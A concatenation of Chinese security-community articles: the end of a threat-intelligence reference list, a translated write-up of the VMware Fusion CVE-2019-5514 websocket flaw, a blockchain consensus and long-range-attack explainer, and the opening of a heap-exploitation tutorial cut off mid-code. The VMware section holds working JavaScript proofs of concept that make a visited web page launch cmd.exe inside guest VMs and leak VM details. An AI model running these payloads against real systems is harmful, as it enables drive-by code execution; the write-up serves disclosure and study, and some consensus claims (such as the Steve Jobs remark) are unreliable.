35\. <https://blog.trendmicro.com/trendlabs-security-intelligence/new-andariel-reconnaissance-tactics-hint-at-next-targets/>
36\. <https://ti.360.net/blog/articles/analysis-of-targeted-attacks-suspected-of-patchover/>
37\. <https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html>
38\. <http://blog.alyac.co.kr/1521>
39\. <https://www.fireeye.com/blog/threat-research/2018/02/apt37-overlooked-north-korean-actor.html>
40\.
<https://global.ahnlab.com/global/upload/download/techreport/>[AhnLab]%20Red_Eyes_Hacking_Group_Report%20(1).pdf
41\. <https://blog.talosintelligence.com/2018/05/navrat.html>
42\. <https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/>
43\. <http://blog.alyac.co.kr/1985>
44\. <http://blog.alyac.co.kr/2035>
45\. <https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html>
46\. <http://blog.alyac.co.kr/1853>
47\. <https://unit42.paloaltonetworks.com/unit42-reaper-groups-updated-mobile-arsenal/>
48\. <http://blog.k7computing.com/?p=6507>
49\. <https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malicious-document-targets-pyeongchang-olympics/>
50\. <https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/>
51\. <https://www.securityweek.com/russia-hacked-olympics-computers-turned-blame-north-korea-report>
52\. <https://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html>
53\. <https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/>
54\. <https://securelist.com/olympic-destroyer-is-still-alive/86169/>
55\. <https://research.checkpoint.com/new-strain-of-olympic-destroyer-droppers/>
56\. <https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/>
57\. <https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html>
58\. <https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/>
59\. <https://mp.weixin.qq.com/s/DggTaSJPiM179Qynzx6KFA>
60\. <https://securelist.com/muddywater/88059/>
61\. <https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/>
62\. <https://blog.trendmicro.com/trendlabs-security-intelligence/new-powershell-based-backdoor-found-in-turkey-strikingly-similar-to-muddywater-tools/>
63\. <https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group>
64\. <https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/>
65\. <https://securityaffairs.co/wordpress/74843/cyber-warfare-2/apt28-targeted-senator-mccaskill.html>
66\. <https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/>
67\. <https://www.symantec.com/blogs/election-security/apt28-espionage-military-government>
68\. <https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/>
69\. <https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware>
70\. <https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/>
71\. <https://www.zdnet.com/article/russian-apt-comes-back-to-life-with-new-us-spear-phishing-campaign/>
72\. <https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html>
73\. <https://blog.yoroi.company/research/new-cozy-bear-campaign-old-habits/>
74\.
<http://blogs.360.cn/post/%E6%95%B0%E5%AD%97%E5%8A%A0%E5%AF%86%E8%B4%A7%E5%B8%81%E4%BA%A4%E6%98%93%E8%BD%AF%E4%BB%B6apt%E6%94%BB%E5%87%BB%E7%AE%80%E6%8A%A5-2.html>
75\. <https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/>
76\. <https://www.securonix.com/securonix-threat-research-cosmos-bank-swift-atm-us13-5-million-cyber-attack-detection-using-security-analytics/>
77\. <https://www.us-cert.gov/ncas/alerts/TA18-275A>
78\. <https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/>
79\. <https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/> | 社区文章 |
文章来源：<https://theevilbit.github.io/posts/vmware_fusion_11_guest_vm_rce_cve-2019-5514/>
* * *
### 前言
这个漏洞允许攻击者通过Web在VMware Fusion guest上执行任意命令。通常VMware
Fusion只在`localhost`上开启websocket监听。攻击者可以通过websocket来完全控制整个VM（创建删除快照，无论你想做什么），包括运行App。运行App需要目标机器装有VMware
Tools，老实说谁会不装呢。攻击者在自己的网站上创建一个JavaScript可以实现访问（目标主机）那些未登记的API，此操作并不需要身份验证。
### 概述
在几个星期前，我看到了[CodeColorist](https://twitter.com/CodeColorist)发布的一篇推文，该文章讨论到了这件事，他是该漏洞的原始发现者，但是我没有时间立即去研究它。当我再次搜索它时，这篇推文已经消失了。我在他的微博（中国版推特）账户（[
CodeColorist
Weibo](https://www.weibo.com/u/5639360171?refer_flag=1005050010_&is_hot=1)）发现了相同的一篇推文。下图是其中的内容之一：
从上图你可以发现可以通过websocket在guest
VM上执行任意命令，这是起源于进程`amsrc`。我想我给了他充分的信任，我接下来做的建立在这一点上。（注：傲慢的歪果仁）
### 漏洞
#### AMSRV
这里我使用ProcInfoExample （Github：<https://github.com/objective-see/ProcInfoExample）> 来监控当运行VMware Fusion时启用了哪些进程。当我开启VMware时，`vmrest`（VMware
REST API）和`amsrv`都将启动：
2019-03-05 17:17:22.434 procInfoExample[10831:7776374] process start:
pid: 10936
path: /Applications/VMware Fusion.app/Contents/Library/vmrest
user: 501
args: (
"/Applications/VMware Fusion.app/Contents/Library/amsrv",
"-D",
"-p",
8698
)
2019-03-05 17:17:22.390 procInfoExample[10831:7776374] process start:
pid: 10935
path: /Applications/VMware Fusion.app/Contents/Library/amsrv
user: 501
args: (
"/Applications/VMware Fusion.app/Contents/Library/amsrv",
"-D",
"-p",
8698
)
他们似乎存在关联，因为你能通过这个端口接触到未登记的VMware REST
APT。通过`amsrv`进程来控制这个应用菜单，我想这是类似于“应用菜单服务”的东西。移步至`/Applications/VMware
Fusion.app/Contents/Library/VMware Fusion Applications
Menu.app/Contents/Resources`我发现一个名为`app.asar`的文件，在这个文件的末尾有一个关于node.js来实现websocket的描述：监听8698端口。非常棒，我们可以直接在源代码中找到它，而无需做硬核逆向。
查看此代码，显示VMware Fusion应用菜单将在8698端口开启`amsrv`进程，如果该端口被占用，它等待开放然后再开启。
const startVMRest = async () => {
log.info('Main#startVMRest');
if (vmrest != null) {
log.warn('Main#vmrest is currently running.');
return;
}
const execSync = require('child_process').execSync;
let port = 8698; // The default port of vmrest is 8697
let portFound = false;
while (!portFound) {
let stdout = execSync('lsof -i :' + port + ' | wc -l');
if (parseInt(stdout) == 0) {
portFound = true;
} else {
port++;
}
}
// Let's store the chosen port to global
global['port'] = port;
const spawn = require('child_process').spawn;
vmrest = spawn(path.join(__dirname, '../../../../../', 'amsrv'), [
'-D',
'-p',
port
]);
我们可以再VMware Fusion应用菜单日志中找到有关日志：
2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: (url: ws://localhost:8698/ws )
2019-02-19 09:03:05:745 Renderer#WebSocketService::connect: Successfully connected (url: ws://localhost:8698/ws )
2019-02-19 09:03:05:809 Renderer#ApiService::requestVMList: (url: http://localhost:8698/api/internal/vms )
此时，我们可以确认web socket和一个 REST API接口。
#### 利用REST API来泄露VM信息
访问URL（<http://localhost:8698/api/internal/vms），>
它将返回一个样式良好的JSON数据包，这个数据包包含了VM的一些细节：
[
{
"id": "XXXXXXXXXXXXXXXXXXXXXXXXXX",
"processors": -1,
"memory": -1,
"path": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/Windows 10 x64.vmx",
"cachePath": "/Users/csaby/VM/Windows 10 x64wHVCI.vmwarevm/startMenu.plist",
"powerState": "unknown"
}
]
这个信息泄露可以使攻击者获取用户ID，文件夹，VM名称以及其他基础信息。下面是展示这些信息的代码。如果我们将JS放入网站，然后一台运行有Fusion的主机访问该网站，我们能够查询到该主机的REST
API。
var url = 'http://localhost:8698/api/internal/vms'; //A local page
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
// If specified, responseType must be empty string or "text"
xhr.responseType = 'text';
xhr.onload = function () {
if (xhr.readyState === xhr.DONE) {
if (xhr.status === 200) {
console.log(xhr.response);
//console.log(xhr.responseText);
document.write(xhr.response)
}
}
};
xhr.send(null);
仔细审读代码，你会发现这些额外的URL将泄露出更多信息：`'/api/vms/' + vm.id + '/ip'` \-帮助获取VM内部IP（如果VM加密或者关机，这将失效）。`'/api/internal/vms/' + vm.id` \-和第一个URL作用相同，用于限制一台VM。
#### 利用Websocket的vmUUID获取RCE
这是@CodeColorist发布的原始POC：
<script>
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
const payload = {
"name":"menu.onAction",
"object":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
"userInfo": {
"action":"launchGuestApp:",
"vmUUID":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
"representedObject":"cmd.exe"
}
};
ws.send(JSON.stringify(payload));
};
ws.onmessage = function(data) {
console.log(JSON.parse(data.data));
ws.close();
};
</script>
在这个POC中，攻击者需要VM的UUID来开启新应用。我们可以在`vm`文件中轻松找到`bios.uuid`，而`bios.uuid`就是vmUUID。问题是获取`bios.uuid`有些麻烦，攻击者又无法实施暴力破解或其它的。但是，如果目标的guest上装有VMware
Tools（谁会不装它呢？），一切将将变得简单起来。如果VM被挂起或者关机，VMware下次会再次运行它。并且在用户登入后该命令也会自动执行，甚至是锁屏然后解锁登入。我做了一些实验，发现如果我移除该对象和vmUUID这一要素，这段代码仍然可以在最后使用VM时执行，并且会有一些状态信息保存下来。
#### Websocket 信息泄露
尝试逆向溯源web socket的调用内容和代码中的其他选项，你将发现可以获取应用菜单的访问权限，能够完全控制任何事。
aMenuupdate:
00000001003bedd2 db "menu.update", 0 ; DATA XREF=cfstring_menu_update
aMenushow:
00000001003bedde db "menu.show", 0 ; DATA XREF=cfstring_menu_show
aMenuupdatehotk:
00000001003bede8 db "menu.updateHotKey", 0 ; DATA XREF=cfstring_menu_updateHotKey
aMenuonaction:
00000001003bedfa db "menu.onAction", 0 ; DATA XREF=cfstring_menu_onAction
aMenurefresh:
00000001003bee08 db "menu.refresh", 0 ; DATA XREF=cfstring_menu_refresh
aMenusettings:
00000001003bee15 db "menu.settings", 0 ; DATA XREF=cfstring_menu_settings
aMenuselectinde:
00000001003bee23 db "menu.selectIndex", 0 ; DATA XREF=cfstring_menu_selectIndex
aMenudidclose:
00000001003bee34 db "menu.didClose", 0 ; DATA XREF=cfstring_menu_didClose
这些都可以通过Websocket来调用。我没有具体探索菜单的每一个选项，如果攻击者知道vmUUID，可以（利用它）做任何事情（制作快照，开启VM，删除VM等）。问题是，我仍没有弄清楚如何获取它。
下面一个有趣的选项是`menu.refresh`。使用以下Payload：
const payload = {
"name":"menu.refresh",
};
可以获取VM的信息以及已安装App的一些信息。
{
"key": "menu.update",
"value": {
"vmList": [
{
"name": "Kali 2018 Master (2018Q4)",
"cachePath": "/Users/csaby/VM/Kali 2018 Master (2018Q4).vmwarevm/startMenu.plist"
},
{
"name": "macOS 10.14",
"cachePath": "/Users/csaby/VM/macOS 10.14.vmwarevm/startMenu.plist"
},
{
"name": "Windows 10 x64",
"cachePath": "/Users/csaby/VM/Windows 10 x64.vmwarevm/startMenu.plist"
}
],
"menu": {
"pinnedApps": [],
"frequentlyUsedApps": [
{
"rawIcons": [
{
(...)
通过前面讨论的API，我们可以看到这里也有信息泄露接口。
#### Websocket RCE 无需vmUUID
另一个有趣的地方是`menu.selectIndex`，用户通过它选择VM。这个功能的原始代码可以在`app.asar`直接找到，我们可以通过阅读摸清楚调用流程：
// Called when VM selection changed
selectIndex(index: number) {
log.info('Renderer#ActionService::selectIndex: (index:', index, ')');
if (this.checkIsFusionUIRunning()) {
this.send({
name: 'menu.selectIndex',
userInfo: { selectedIndex: index }
});
}
我们可以选择某个VM guest运行App来调用`menu.selectIndex`：
const payload = {
"name":"menu.selectIndex",
"userInfo": {
"selectedIndex":"3"
}
};
然后我研究是否可以在`menu.onAction`调用中使用`selectedIndex`目录，结果为可以。同时，通过`menu.refresh`返回的vmlist中每台VM都有正确的索引和顺序。
想要获取完整RCE权限：
1. 通过`menu.refresh`泄露出VM列表。
2. 通过索引在guest账户上运行一个App。
Poc：
<script>
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
//payload to show vm names and cache path
const payload = {
"name":"menu.refresh",
};
ws.send(JSON.stringify(payload));
};
ws.onmessage = function(data) {
//document.write(data.data);
console.log(JSON.parse(data.data));
var j_son = JSON.parse(data.data);
var vmlist = j_son.value.vmList;
var i;
for (i = 0; i < vmlist.length; i++) {
//payload to launch an app, you can use either the vmUUID or the selectedIndex
const payload = {
"name":"menu.onAction",
"userInfo": {
"action":"launchGuestApp:",
"selectedIndex":i,
"representedObject":"cmd.exe"
}
};
if (vmlist[i].name.includes("Win") || vmlist[i].name.includes("win")) {ws.send(JSON.stringify(payload));}
}
ws.close();
};
</script>
### 漏洞上报
报告这个漏洞之前我咨询@Codecolorist是否由他来上报给VMware，他回答可以，之后VMware团队与他进行沟通。我决定向VMware团队提交另一份报告，该报告中的漏洞更加严重，我想敦促它们尽快修复它，我提交的漏洞的Poc与本文相比使用了一种新方法。
#### 修复
VM在几天前发布了补丁，参考：[VMSA-2019-0005](https://www.vmware.com/security/advisories/VMSA-2019-0005.html)。我查看VMware团队做些什么，发现它们加入了token认证，并且在每次启动VM都将刷新token值。
这里是相关的更新代码（文件：`app.asar`）：
String.prototype.pick = function(min, max) {
var n,
chars = '';
if (typeof max === 'undefined') {
n = min;
} else {
n = min + Math.floor(Math.random() * (max - min + 1));
}
for (var i = 0; i < n; i++) {
chars += this.charAt(Math.floor(Math.random() * this.length));
}
return chars;
String.prototype.shuffle = function() {
var array = this.split('');
var tmp,
current,
top = array.length;
if (top)
while (--top) {
current = Math.floor(Math.random() * (top + 1));
tmp = array[current];
array[current] = array[top];
array[top] = tmp;
}
return array.join('');
export class Token {
public static generate(): string {
const specials = '!@#$%^&*()_+{}:"<>?|[];\',./`~';
const lowercase = 'abcdefghijklmnopqrstuvwxyz';
const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
const numbers = '0123456789';
const all = specials + lowercase + uppercase + numbers;
let token = '';
token += specials.pick(1);
token += lowercase.pick(1);
token += uppercase.pick(1);
token += numbers.pick(1);
token += all.pick(5, 7);
token = token.shuffle();
return Buffer.from(token).toString('base64');
}
这里的token值为可变长度密码，其中包含从app，小写，数组和符号中提取的至少一个字符。同时，程序会对密钥做Base64编码，我们在Wireshark中可以看到：
我发现了下面这段代码：
function sendVmrestReady() {
log.info('Main#sendVmrestReady');
if (mainWindow) {
mainWindow.webContents.send('vmrestReady', [
'ws://localhost:' + global['port'] + '/ws?token=' + token,
'http://localhost:' + global['port'],
'?token=' + token
]);
}
如果在目标mac已经获取代码执行，那你就能够获取token值，但是在那种情况下谁还会去做呢。加入密码严重地限制了攻击者利用该漏洞获取远程代码执行的能力。 | 社区文章 |
### 一、前言
我们在前面进行了两讲公式机制（参考链接如下），在前文的讲述中，我们讲解了部分共识的具体流程以及优缺点。本文中，我们补充剩下的共识理念并分析其对应的优缺点。除此之外，我们针对相关的共识漏洞进行分析，为安全爱好者提供更多攻击的参考模型。
[区块链安全—详谈共识攻击（一）](https://xz.aliyun.com/t/3139)
[区块链安全—详谈共识攻击（二）](https://xz.aliyun.com/t/3160)
### 二、Ripple Consensus—瑞波共识算法
#### 1 协议流程
在介绍协议前，我们简单的介绍下瑞波的由来。简单来说，瑞波是一个基于互联网的全球开放的支付网络，人们可以通过该支付网络转账任意一种货币，交易确认时间很短，一般只需要几秒钟就能完成。所以此支付网络非常简便与快捷，所以交易费用接近于零。
瑞波共识协议（Ripple Consensus
Protocol，RCP）中包括了特殊节点列表并基于此使一组节点达成共识。初始特殊节点列表就像一个俱乐部，如果俱乐部要接纳新成员，必须由俱乐部会员进行投票，一定比例的会员通过才允许接纳新会员。要接纳一个新成员需要该俱乐部51%的会员投票通过，并且外部成员对此没有任何影响力。由于该俱乐部有“中心化”特性，如果其开始腐化那么股东们则无法做任何事情。所以瑞波系统将股东们与其投票权利分隔开，并因此比其他系统更中心化。
在Ripple的共识算法中，参与投票节点的身份是事先知道的，因此，算法的效率比PoW等匿名共识算法要高效，交易的确认时间只需几秒钟。当然，这点也决定了该共识算法适用场景有限的缺陷。
在介绍协议前，我们先交代下其中的节点类型：瑞波共识包括以下几种节点类型： **活跃信任节点、不活跃信任节点、验证节点** 。
下面我们具体的介绍一下RCP协议的具体内容：
①验证节点保存未经验证的交易。
在系统运行的过程中，验证节点会接受系统中发起的交易请求，并保存其在本地，之后等待共识。而在本轮共识过程中新到的交易需要等待，在下次共识时再确认。
②活跃信任节点将合法交易发送至验证节点。
根据我们上面的内容可知，RCP协议中存在“信任节点列表”的概念。而其是验证池中的一部分，其列表中的节点均来自验证池。而跟大多数协议相同，RCP共识机制要求参与共识的信任节点必须处于活跃的状态（否则无法进行下一步的操作）。而那些不活跃的节点将会被踢出列表。
在这里，信任列表中的节点也会收到系统中的各个TXs（交易），包括交易双方额度、交易历史等。之后会对交易进行判断，判定其交易是否合法，并将合法的交易打包成提议发送给验证节点。
③验证节点检验提议来源。
验证节点检查接收到的提议是否来自信任节点列表中的合法信任节点，如果是，则存储；如果不是，则丢弃。
**在这里我们类似于将权利下放，将判定工作下放给员工（信任节点）来做。**
④验证节点根据收到的提议确定出交易清单。
开始的时候，我们需要规定信任列表中的信任节点数量，例如M个。而我们需要规定交易的认可比例N。由此，验证节点就有其依据来判断交易是否可以被认可。当每一个超过M*N个信任节点认可的交易将会被验证节点认可。
**例如M为10个节点，我们可以规定超过百分之60就可以添加为合法，即10×60%=6个节点**
在验证节点本地需要生成认可交易列表。系统为验证节点设置一个计数器，当计数器时间到了之后验证节点就要向信任节点索要交易认可列表。
⑤账本共识达成。
验证节点接受信任节点的各种提议，并计算信任节点针对某个交易所提供的正确与否的消息。在此过程中，节点会持续更新认可交易列表。而
其次，验证节点认可列表的生成并不代表最终账本的形成以及共识的达成，账本共识只有在每笔交易都获得至少超过一定比例（例如 N%）的信任节点列表认可才能达成。
如果账本中每笔交易都获得超过比例N的信任节点认可，则共识达成，交易验证结束，否则继续上述过程。
⑥共识过程结束，形成最新账本。
共识过程结束后，已经形成最新的账本，将上轮剩余的待确认交易以及新交易纳入待确认交易列表，开始新一轮共识过程。
之后将账本发布，供系统中所有节点下载使用。
**总结来说，协议分为以下几个过程：①系统中客户端进行交易、②验证节点接收并存储交易、③信任节点发送提议于验证节点、④验证节点验证列表、⑤达成账本共识并关闭账本**
#### 2 协议安全分析
根据我们对协议具体内容的分析，我们知道瑞波协议就是易于遭受攻击，黑客可以伪造node，甚至可以大量扩散潜伏，并在某个时间突然攻击所有网络。
我们知道，应用此协议的系统能够做到将交易账本几秒钟部署应用到所有节点，效率十分高。所以用此来维护整个网络的有效性以及一致性十分合适。并且这点也决定了该共识算法只适合于权限链（Permissioned
chain）的场景。Ripple共识算法的拜占庭容错（BFT）能力为（n-1）/5，即可以容忍整个网络中20%的节点出现拜占庭错误而不影响正确的共识。
而在整个社区中，共识一旦达成，当前的账本将会保存记录在此之前的所有交易信息，然后关闭成为最后的账本。在这个关闭的账本中所有网络节点维护都是相同的。
## 三、POET—消逝时间量证明
此算法在芯片制造商英特尔(Intel)创立之初就被拿来进行使用，由于其耗能十分低，所以乔布斯也曾将其应用于产品。它是一种算法，通常用于被许可的区块链网络来决定采矿权或网络上的块赢家。它是由英特尔构建在可信执行环境的一种彩票协议。核心是用intel支持SGX技术的CPU硬件，在受控安全环境（TEE）下随机产生一些延时，同时CPU从硬件级别证明延时的可信性，类似于彩票算法，谁的延时最低，谁将获取记账权。
而投票机制是基于CPU的数量，也就是说一个CPU只能进行一次投票。所以增加记账权的唯一方法就是多增加CPU的数量，具备了当初中本聪设想的一个CPU一票的可能，同时增加的CPU会提升整个系统的资源，变相实现了记账权与提供资源之间的正比例关系。
该算法要求网络中的每个参与节点在定时器上等待一个随机的时间量，第一个完成指定等待时间的节点为新块的赢家。网络上的每个节点基本上都是在随机产生的一段时间内进入睡眠状态，而第一个醒来的节点，也就是睡眠时间最短的节点，醒来时向区块链提交一个新的块。
下面我们详细介绍下此共识的大致思路：
* 1每一个节点均需要从enclave（代表一个可信操作）中获得一个随机的等待时间。
* 2拥有最短时间的备选人将被选为leader并率先发布块。
* 3enclave是通过新型的安全CPU指令来实现的。其包括两个函数“CreateTimer”、“CheckTimer”。第三步中使用`CreateTimer`从enclave中产生一个timer。
* 4之后使用验证函数`CheckTimer`去检验这个timer是不是由enclave产生、是否已经过期。
* 5如果满足了上述条件就会生成一个attestation凭证。其中包含的信息可以用来校验certificate是否由该encalve产生并已经等待了timer规定的时间。成为leader的概率与捐献的资源成正比。因为是通用处理器而不需要定制的矿机，所以参与门槛较低并且节点较多，整个共识机制更为健壮。
### 四、长程攻击（Long-Range Attacks）分析
根据我们前文提及的知识，Pow由于其浪费资源的原因导致越来越多的区块链项目转变共识为Pos，所以在权益证明已经越来越受关注。而我们这次提及的攻击就是主要针对Pos共识的一种非常巨大的威胁攻击。由于其具有弱主观性并且能进行无代价模拟的特点，所以这种攻击带来的危害更大。
我们知道在区块链系统中，除了主链之外还存在许多与主链并行的其他分支链。而长程攻击就是攻击者创建了一条从创世区块开始的长区块链分支，并试图替换掉当前的合法主链。该分支上可能存有和主链不同的交易和区块，所以这种攻击又被称替换历史攻击或历史覆写攻击。而当保证金被解除绑定，激励不从某个高度区块前进行长距离投票就被取消了。换句话说就是当用户可以不受制裁的进行分叉链的创建时，就有可能导致分叉链超过主链从而代替主链的地位。
#### 1 弱主观性
这里的弱主观性是针对新加入的节点而言。我们知道在系统中总会存在长期不在线或者新加入的节点。当这些节点回归系统或者加入系统后，我们需要为其提供创世区块。这个区块是独一无二被大家共识为首区块的区块。设置好创世区块后，节点接着就会收到当前区块链上所有公开的分支。然而此时问题就来了，作为萌新，新区块并不知道哪个是主链，哪个是分支。而对于离线很久的节点，它也并不知道在它离线的这些日子里主链成为了何模样。对于在线的节点而言，这种情况则不会出现。持在线状态的节点则总能及时地监控并同步主链。除非其它分支链篡位成功成为了合法主链，否则保持在线状态的节点不可能接受其他分支作为主链。
而我们为什么说Pos中存在这种类似的攻击而Pow中很少出现呢？
上图中红色为创世区块，而绿色为主链，其他颜色为分叉。
而整个区块链上的确有许多不同的分支，并且长度不一，主链可能是他们中任意的一支。
但是我们能发现，图中主链却十分好认。我们只需寻找最长链即可。
而对于Pow共识，由于在工作量证明区块链中需要现实的算力资源来生产区块，因此链长度可以有效地反映出分支上凝聚的工作量，最长链原则也就是说凝聚了最多工作量的分支便是主链。
也就是说，倘若系统使用的时Pow算法，那么除非遭受了51%攻击，否则不可能有其它从创世区块开始并与当前主链存在潜在竞争关系的分支链。那些攻击者倘若要想替换掉主链，那么它需要使自己的分支链达到相应的长度，这也是十分耗费算力的。所以对采取工作量证明协议的区块链，最长链原则已经足够解决弱主观性问题了。
#### 2 Pos中的长程攻击
由于Pos中依据的是无代价模拟的模式，所以最长链原则并不能成为判断主链的依据。
由于在权益证明区块链网络中没有矿工，所以也就不需要消耗算力来进行计算与挖矿。并且其系统基于对验证人进行信任，相信他们会诚实的对主链进行持续的投资、记账。
在Pos中，验证者仅仅是从交易池中取交易，打包到区块中，然后广播出去，仅此而已。所以说，无代价模拟就是几乎不消耗算力资源来创建一条从创世区块开始的长分支链的能力。
在任何区块链中，新加入的节点会收到许多条分支。在Pos系统中，其中大部分的分支长度是相同的。所以我们仅仅依凭最长链原则不足以判断哪一条是主链。长程攻击恰恰利用了权益证明协议区块链的这两个特点。
#### 3 简单攻击
开始的时候我们先简单的介绍一下长城攻击中的简单攻击：在本例中，整个验证池中有三个验证者，A，B，C。简单起见，设定他们的初始持权数额均为 33.3% 。
权益证明协议区块链的简版，在这种场景下，节点不会去检查区块时间戳。
在权益证明协议正常的一轮周期内，每一个验证者都有机会验证区块（即出块）。
而创世区块中记录了验证者和它们各自的持权信息。A决定实施一次长程攻击，并且创建了一条分支链。她回溯到创世区块，开始生成她的分支链。
由于创世区块中保存了验证者的信息，所以攻击者就不能比主链更新的更快，所以最好的情况就是支链出块速度与主链一致。所以A只能提前产生区块。
上图中，下方为主链，而上方为A伪造的分支，此时分支与主链长度相同，也就是说成为主链的概率与主链一致。
之后A进行时间戳的伪造，并且由于A是这条分支链的唯一活跃持权验证人，这样做并没有什么风险。在不验证时间戳的权益证明协议区块链中，所有的分支链都是有效的。
### 五、变节攻击
我们假设时间戳已经无法被篡改，所以A需要在相同的时间内生成比主链更多的区块数量。但是这如何做到呢？
所以A想到利用B来帮助他生成。这时候就该引入一个名为验证者轮换的概念。
我们知道在权益证明系统中为了保证系统公平，验证者必须是轮换更替的。
验证者应当可以选择退出，并且区块链系统在某些情况下能轮换更替验证者或是把验证者移除出系统。
在这里，我们假设B在出块999个后选择退出了区块链系统。此时他的私钥也就没有往日那么重要了（因为他已经成为了一个平民）。
然而我们知道，虽然B退出了验证者这个位置，但是他的私钥仍然可以为999区块之前的区块签名，并且具有合法效应。
既然 Bob 在系统中没有任何质押的权益，他就没有任何负向激励不对区块链发动攻击。于是A可以盗取B的私钥，或者贿赂B，迫使B加入到攻击中。
当A得到了B的私钥，他就可以像B一样为区块进行签名，也就是说B帮助A更快速的生成了区块数量，用以赶超主链出块速度。我们称这样的攻击为变节攻击。
### 六、权益流损
长程攻击的第三种类型被称为权益流损。
与上文中提到的内容一样，A作为主链的验证者同时他边记账边密谋从创始区块开始构建自己的分支链。由于验证者的初始信息在创世区块中早已经写好。所以在分支链没有超过主链长度之前，A不会讲分支链广播出去。
为了增加攻击的成功率，A开始主动拖延主链的正常运行速度。也就是说，倘若A的权益占比足够多，这种行为可能会演变为一次活性冻结攻击。每当 A
被选举为主链上的区块验证者时，她都会跳过该块，放弃自己的区块验证的身份。然而这并不会有其他验证者代替其工作，反而在该区块位置不会有新的区块加入到主链中。
然而这样会导致A不能从系统中获得区块验证奖励。但是A会不断从从主链上复制交易并在自己的分支链上广播出去。这样会增加其权益占比。
通过采用这样的策略，一方面拖延主链的出块速度，一方面在分支链上尽可能广播更多的区块，Malory最终可以在自己的分支链上获得绝大部分的权益，并且比主链更快地产生区块。一旦他的分支链长度超过了主链，他就将发布最后一笔交易，将自己的权益交易给其他的验证者，并且紧接着广播发布自己的分支链。
### 七、浪子漏洞
Prodigal Contracts
浪子合约是指交易资金因为漏洞返还给所有者、交易者过去发送给以太网的地址，以及特定地址。这种漏洞就像是空手套白狼，买家得到商品，而卖家无法得到加密货币。
合约可向攻击者指定地址发送以太币，而员工地址变量由于调用消息赋值的工资分发函数缺乏对调用者的检验而导致了资金返还，但是交易却产生了。
对于此漏洞的防御措施如下： 1. 消息发送者地址不在合约存储中且在合约中没有Ether。 2. 调用了CALL(且发生了Ether交换),
DELEGATECALL或SUICIDE。所以要对此类函数进行严格的过滤措施。
### 八、自杀漏洞
智能合约的拥有者可以在以太坊发生故障时选择退回，类似于微信中的撤回选项。但是这个指令也可以被其他人执行，使得交易失败。
而引起此类漏洞的关键就是suicide函数，suicide函数可被攻击者调用 eg： 调用suicide前未检查调用者身份/授权用户列表可被修改。
如攻击函数库，可导致大量依赖合约异常。
而此类攻击的特征如下：执行代码中包含suicide，且消息发送者不在合约存储中。
### 九、参考资料
* 1 <https://www.jianshu.com/p/69b311fc8b33>
* 2 <https://www.jianshu.com/p/7b5a1d7d400d>
* 3 <http://www.cnblogs.com/zhang-qc/p/9408328.html>
* 4 <https://www.jianshu.com/p/6af445e13557>
* 5 <http://www.bishu.io/1183.html>
* 6 [https://mp.weixin.qq.com/s?__biz=MzIwODA3NDI5MA==&mid=2652526411&idx=1&sn=552c14476376eb813f0a60fe96facb83&chksm=8ce65416bb91dd00c736314e3a61fc173cadb604dbfb3ee28f49b17e0626a9a6c2d7e403307a&scene=21#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzIwODA3NDI5MA==&mid=2652526411&idx=1&sn=552c14476376eb813f0a60fe96facb83&chksm=8ce65416bb91dd00c736314e3a61fc173cadb604dbfb3ee28f49b17e0626a9a6c2d7e403307a&scene=21#wechat_redirect)
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# how2heap之poison_null_bytes&&house of einherjar
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 欢迎各位喜欢安全的小伙伴们加入星盟安全 UVEgZ3JvdXA6IDU3MDI5NTQ2MQ==
>
> 本文包括poison null bytes和house of einherjar
PS:由于本人才疏学浅,文中可能会有一些理解的不对的地方,欢迎各位斧正 🙂
## 参考网站
https://ctf-wiki.github.io/ctf-wiki
https://www.slideshare.net/codeblue_jp/cb16-matsukuma-en-68459606
## poison null bytes
### 序
作者的话:本例推荐在ubuntu14.04上进行测试,并且只适用于没有tcache的glibc
这个poison null byte利用思路依旧是制造一个overlapping
chunk,虽然作者说要在ubuntu14.04上测试,但其实ubuntu16.04也是可以的,只要没有tcache,这种攻击方式就是可以使用的:)
### 源代码
这里我也删了一部分作者的话,加了些注释
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
uint8_t* a;
uint8_t* b;
uint8_t* c;
